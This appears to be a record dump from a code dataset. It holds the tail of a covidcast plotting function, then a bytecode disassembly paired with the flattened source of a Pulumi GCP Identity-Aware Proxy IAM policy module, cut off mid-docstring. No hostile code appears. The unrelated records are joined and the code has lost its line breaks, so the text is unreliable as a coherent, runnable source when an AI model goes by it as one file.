(left side) and geo data (right side). Must be one of {‘left’, ‘right’, ‘outer’, ‘inner’}. :return: ``data`` with HRR polygon and state fips joined. """ geo_info["hrr_num"] = geo_info.hrr_num.astype("int").astype( str ) # original col was a float input_cols = list(data.columns) merged = data.merge( geo_info, how=join_type, left_on=msa_col, right_on="hrr_num", sort=True ) merged[msa_col] = merged.hrr_num.combine_first(merged[msa_col]) merged["state_fips"] = [STATE_ABBR_TO_FIPS.get(i[:2]) for i in merged.hrr_name] return gpd.GeoDataFrame(merged[input_cols + ["state_fips", "geometry"]]) def _is_megacounty(fips: str) -> bool: """Determine if a code is a megacounty. :param fips: FIPS code to test. :return: Boolean for if the input code is a megacounty or not. """ return fips.endswith("000") and len(fips) == 5
data/covidcast-0.2.2/covidcast/plotting.py
8,987
9,014
351,682
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi.runtime STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST ('Any', 'Mapping', 'Optional', 'Sequence', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 2 LOAD_CONST ('_utilities',) IMPORT_NAME IMPORT_FROM _utilities STORE_NAME _utilities POP_TOP LOAD_CONST 'WebTypeComputeIamPolicyArgs' LOAD_CONST 'WebTypeComputeIamPolicy' BUILD_LIST STORE_NAME __all__ LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object WebTypeComputeIamPolicyArgs at 0x7fab801d90c0, file "f.py", line 11> LOAD_CONST 'WebTypeComputeIamPolicyArgs' MAKE_FUNCTION LOAD_CONST 'WebTypeComputeIamPolicyArgs' CALL_FUNCTION CALL_FUNCTION STORE_NAME WebTypeComputeIamPolicyArgs LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object _WebTypeComputeIamPolicyState at 0x7fab543366f0, file "f.py", line 81> LOAD_CONST '_WebTypeComputeIamPolicyState' MAKE_FUNCTION LOAD_CONST '_WebTypeComputeIamPolicyState' CALL_FUNCTION CALL_FUNCTION STORE_NAME _WebTypeComputeIamPolicyState LOAD_BUILD_CLASS LOAD_CONST <code object WebTypeComputeIamPolicy at 0x7faa5f4bc540, file "f.py", line 168> LOAD_CONST 'WebTypeComputeIamPolicy' MAKE_FUNCTION LOAD_CONST 'WebTypeComputeIamPolicy' LOAD_NAME pulumi LOAD_ATTR CustomResource CALL_FUNCTION STORE_NAME WebTypeComputeIamPolicy LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'WebTypeComputeIamPolicyArgs' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST ('project',) BUILD_CONST_KEY_MAP LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa8c22adb0, file "f.py", line 13> LOAD_CONST 'WebTypeComputeIamPolicyArgs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'policyData' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faa8c22ab70, file "f.py", line 42> LOAD_CONST 'WebTypeComputeIamPolicyArgs.policy_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME policy_data LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faa8c22a300, file "f.py", line 51> LOAD_CONST 'WebTypeComputeIamPolicyArgs.policy_data' MAKE_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faa8c22ac90, file "f.py", line 55> LOAD_CONST 'WebTypeComputeIamPolicyArgs.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME project LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7fab801d9540, file "f.py", line 76> LOAD_CONST 'WebTypeComputeIamPolicyArgs.project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'policy_data' LOAD_FAST policy_data CALL_METHOD POP_TOP LOAD_FAST project LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'project' LOAD_FAST project CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'policy_data' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'policy_data' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'project' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_WebTypeComputeIamPolicyState' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('etag', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('etag', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab801d96f0, file "f.py", line 83> LOAD_CONST '_WebTypeComputeIamPolicyState.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object etag at 0x7fab700b4660, file "f.py", line 117> LOAD_CONST '_WebTypeComputeIamPolicyState.etag' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME etag LOAD_NAME etag LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object etag at 0x7fab700b4540, file "f.py", line 125> LOAD_CONST '_WebTypeComputeIamPolicyState.etag' MAKE_FUNCTION CALL_FUNCTION STORE_NAME etag LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'policyData' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7fab700b45d0, file "f.py", line 129> LOAD_CONST '_WebTypeComputeIamPolicyState.policy_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME policy_data LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7fab700b4e40, file "f.py", line 138> LOAD_CONST '_WebTypeComputeIamPolicyState.policy_data' MAKE_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7fab54336f60, file "f.py", line 142> LOAD_CONST '_WebTypeComputeIamPolicyState.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME project LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7fab54336030, file "f.py", line 163> LOAD_CONST '_WebTypeComputeIamPolicyState.project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_CONST None RETURN_VALUE LOAD_FAST etag LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'etag' LOAD_FAST etag CALL_METHOD POP_TOP LOAD_FAST policy_data LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'policy_data' LOAD_FAST policy_data CALL_METHOD POP_TOP LOAD_FAST project LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'project' LOAD_FAST project CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'etag' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'etag' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'policy_data' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'policy_data' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'project' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'WebTypeComputeIamPolicy' STORE_NAME __qualname__ LOAD_NAME overload LOAD_CONST (None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab54336780, file "f.py", line 169> LOAD_CONST 'WebTypeComputeIamPolicy.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME overload LOAD_CONST (None,) LOAD_NAME str LOAD_NAME WebTypeComputeIamPolicyArgs LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_CONST ('resource_name', 'args', 'opts') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab54336420, file "f.py", line 337> LOAD_CONST 'WebTypeComputeIamPolicy.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME str LOAD_CONST ('resource_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab543368a0, file "f.py", line 488> LOAD_CONST 'WebTypeComputeIamPolicy.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'policy_data', 'project') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _internal_init at 0x7fab54336930, file "f.py", line 497> LOAD_CONST 'WebTypeComputeIamPolicy._internal_init' MAKE_FUNCTION STORE_NAME _internal_init LOAD_NAME staticmethod LOAD_CONST (None, None, None, None) LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 'WebTypeComputeIamPolicy' LOAD_CONST ('resource_name', 'id', 'opts', 'etag', 'policy_data', 'project', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7faa5f4bc660, file "f.py", line 531> LOAD_CONST 'WebTypeComputeIamPolicy.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object etag at 0x7faa5f4bcf60, file "f.py", line 574> LOAD_CONST 'WebTypeComputeIamPolicy.etag' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME etag LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'policyData' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object policy_data at 0x7faa5f4bc270, file "f.py", line 582> LOAD_CONST 'WebTypeComputeIamPolicy.policy_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME policy_data LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faa5f4bc0c0, file "f.py", line 591> LOAD_CONST 'WebTypeComputeIamPolicy.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _utilities LOAD_ATTR get_resource_args_opts LOAD_GLOBAL WebTypeComputeIamPolicyArgs LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resource_args STORE_FAST opts LOAD_FAST resource_args LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name LOAD_FAST opts BUILD_TUPLE LOAD_FAST resource_args LOAD_ATTR __dict__ CALL_FUNCTION POP_TOP JUMP_FORWARD to 72 LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_GLOBAL _utilities LOAD_METHOD get_resource_opts_defaults CALL_METHOD LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL isinstance LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Expected resource options to be a ResourceOptions instance' CALL_FUNCTION RAISE_VARARGS LOAD_FAST opts LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST __props__ LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST '__props__ is only valid when passed in combination with a valid opts.id to get an existing resource' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL WebTypeComputeIamPolicyArgs LOAD_METHOD __new__ LOAD_GLOBAL WebTypeComputeIamPolicyArgs CALL_METHOD STORE_FAST __props__ LOAD_FAST policy_data LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'policy_data'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST policy_data LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'policy_data' STORE_SUBSCR LOAD_FAST project LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'project' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'etag' STORE_SUBSCR LOAD_GLOBAL super LOAD_GLOBAL WebTypeComputeIamPolicy LOAD_FAST __self__ CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST 'gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy' LOAD_FAST resource_name LOAD_FAST __props__ LOAD_FAST opts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_FAST id LOAD_CONST ('id',) CALL_FUNCTION CALL_METHOD STORE_FAST opts LOAD_GLOBAL _WebTypeComputeIamPolicyState LOAD_METHOD __new__ LOAD_GLOBAL _WebTypeComputeIamPolicyState CALL_METHOD STORE_FAST __props__ LOAD_FAST etag LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'etag' STORE_SUBSCR LOAD_FAST policy_data LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'policy_data' STORE_SUBSCR LOAD_FAST project LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'project' STORE_SUBSCR LOAD_GLOBAL WebTypeComputeIamPolicy LOAD_FAST resource_name LOAD_FAST opts LOAD_FAST __props__ LOAD_CONST ('opts', '__props__') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'etag' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'policy_data' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE
import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ["WebTypeComputeIamPolicyArgs", "WebTypeComputeIamPolicy"] @pulumi.input_type class WebTypeComputeIamPolicyArgs: def __init__( __self__, *, policy_data: pulumi.Input[str], project: Optional[pulumi.Input[str]] = None ): """ The set of arguments for constructing a WebTypeComputeIamPolicy resource. :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ pulumi.set(__self__, "policy_data", policy_data) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter(name="policyData") def policy_data(self) -> pulumi.Input[str]: """ The policy data generated by a `organizations_get_iam_policy` data source. """ return pulumi.get(self, "policy_data") @policy_data.setter def policy_data(self, value: pulumi.Input[str]): pulumi.set(self, "policy_data", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @pulumi.input_type class _WebTypeComputeIamPolicyState: def __init__( __self__, *, etag: Optional[pulumi.Input[str]] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None ): """ Input properties used for looking up and filtering WebTypeComputeIamPolicy resources. :param pulumi.Input[str] etag: (Computed) The etag of the IAM policy. :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ if etag is not None: pulumi.set(__self__, "etag", etag) if policy_data is not None: pulumi.set(__self__, "policy_data", policy_data) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter def etag(self) -> Optional[pulumi.Input[str]]: """ (Computed) The etag of the IAM policy. """ return pulumi.get(self, "etag") @etag.setter def etag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "etag", value) @property @pulumi.getter(name="policyData") def policy_data(self) -> Optional[pulumi.Input[str]]: """ The policy data generated by a `organizations_get_iam_policy` data source. """ return pulumi.get(self, "policy_data") @policy_data.setter def policy_data(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "policy_data", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) class WebTypeComputeIamPolicy(pulumi.CustomResource): @overload def __init__( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None, ): """ Three different resources help you manage your IAM policy for Identity-Aware Proxy WebTypeCompute. Each of these resources serves a different use case: * `iap.WebTypeComputeIamPolicy`: Authoritative. Sets the IAM policy for the webtypecompute and replaces any existing policy already attached. * `iap.WebTypeComputeIamBinding`: Authoritative for a given role. Updates the IAM policy to grant a role to a list of members. Other roles within the IAM policy for the webtypecompute are preserved. * `iap.WebTypeComputeIamMember`: Non-authoritative. Updates the IAM policy to grant a role to a new member. Other members for the role for the webtypecompute are preserved. A data source can be used to retrieve policy data in advent you do not need creation * `iap.WebTypeComputeIamPolicy`: Retrieves the IAM policy for the webtypecompute > **Note:** `iap.WebTypeComputeIamPolicy` **cannot** be used in conjunction with `iap.WebTypeComputeIamBinding` and `iap.WebTypeComputeIamMember` or they will fight over what your policy should be. > **Note:** `iap.WebTypeComputeIamBinding` resources **can be** used in conjunction with `iap.WebTypeComputeIamMember` resources **only if** they do not grant privilege to the same role. > **Note:** This resource supports IAM Conditions but they have some known limitations which can be found [here](https://cloud.google.com/iam/docs/conditions-overview#limitations). Please review this article if you are having issues with IAM Conditions. ```python import pulumi import pulumi_gcp as gcp admin = gcp.organizations.get_iam_policy(bindings=[gcp.organizations.GetIAMPolicyBindingArgs( role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"], )]) policy = gcp.iap.WebTypeComputeIamPolicy("policy", project=google_project_service["project_service"]["project"], policy_data=admin.policy_data) ``` With IAM Conditions: ```python import pulumi import pulumi_gcp as gcp admin = gcp.organizations.get_iam_policy(bindings=[gcp.organizations.GetIAMPolicyBindingArgs( role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"], condition=gcp.organizations.GetIAMPolicyBindingConditionArgs( title="expires_after_2019_12_31", description="Expiring at midnight of 2019-12-31", expression="request.time < timestamp(\\"2020-01-01T00:00:00Z\\")", ), )]) policy = gcp.iap.WebTypeComputeIamPolicy("policy", project=google_project_service["project_service"]["project"], policy_data=admin.policy_data) ``` ```python import pulumi import pulumi_gcp as gcp binding = gcp.iap.WebTypeComputeIamBinding("binding", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"]) ``` With IAM Conditions: ```python import pulumi import pulumi_gcp as gcp binding = gcp.iap.WebTypeComputeIamBinding("binding", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"], condition=gcp.iap.WebTypeComputeIamBindingConditionArgs( title="expires_after_2019_12_31", description="Expiring at midnight of 2019-12-31", expression="request.time < timestamp(\\"2020-01-01T00:00:00Z\\")", )) ``` ```python import pulumi import pulumi_gcp as gcp member = gcp.iap.WebTypeComputeIamMember("member", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", member="user:[email protected]") ``` With IAM 